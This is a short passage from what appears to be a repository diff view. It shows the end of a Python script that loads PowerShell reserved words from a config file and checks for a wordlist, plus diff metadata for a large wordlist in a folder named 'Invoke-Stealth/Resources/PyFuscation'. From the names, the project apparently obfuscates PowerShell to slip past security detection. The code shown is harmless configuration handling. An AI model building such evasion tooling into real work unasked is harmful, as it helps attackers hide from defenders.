exit()
|
||||
else:
|
||||
PSconfigFile = os.path.abspath(os.path.dirname(__file__)) + "/PSconfig.ini"
|
||||
config.read(PSconfigFile)
|
||||
Reseverd = ast.literal_eval(config.get("PS_Reserverd", "f"))
|
||||
lower_Reserverd = list(map(lambda x:x.lower(),Reseverd))
|
||||
|
||||
wordList = os.path.abspath(os.path.dirname(__file__)) + "/Wordlist.txt"
|
||||
if not os.path.isfile(wordList):
|
||||
printR("Check wordList: " + wordList)
|
||||
exit()
|
||||
|
||||
main()
|
||||
73215
Invoke-Stealth/Resources/PyFuscation/Wordlist.txt
Normal file
73215
Invoke-Stealth/Resources/PyFuscation/Wordlist.txt
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user